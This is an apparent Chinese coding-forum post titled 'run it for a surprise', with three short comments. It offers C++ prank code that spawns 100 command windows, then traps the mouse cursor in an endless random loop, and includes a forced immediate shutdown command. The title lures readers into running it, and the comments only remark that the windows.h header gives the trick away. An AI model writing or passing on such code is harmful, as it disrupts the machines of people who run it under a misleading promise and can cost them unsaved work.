运行有惊喜
2025-07-24 14:39:44
发布于:广东
#include <windows.h>
#include <ctime>
#include<bits/stdc++.h>
using namespace std;
int main() {
int i;
for(i=1;i<=100;i++){
system("start");
}
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while (1) {
SetCursorPos(rand() % x, rand() % y);
}
system("shutdown -s -t 0");
return 0;
}
全部评论 3
#include <windows.h>已经暴露出电脑关机
2025-10-06 来自 浙江
0看到这个头文件就知道跟电脑有关
2025-07-26 来自 浙江
0其实……关机代码不用这么明显
2025-07-24 来自 山东
0




















有帮助,赞一个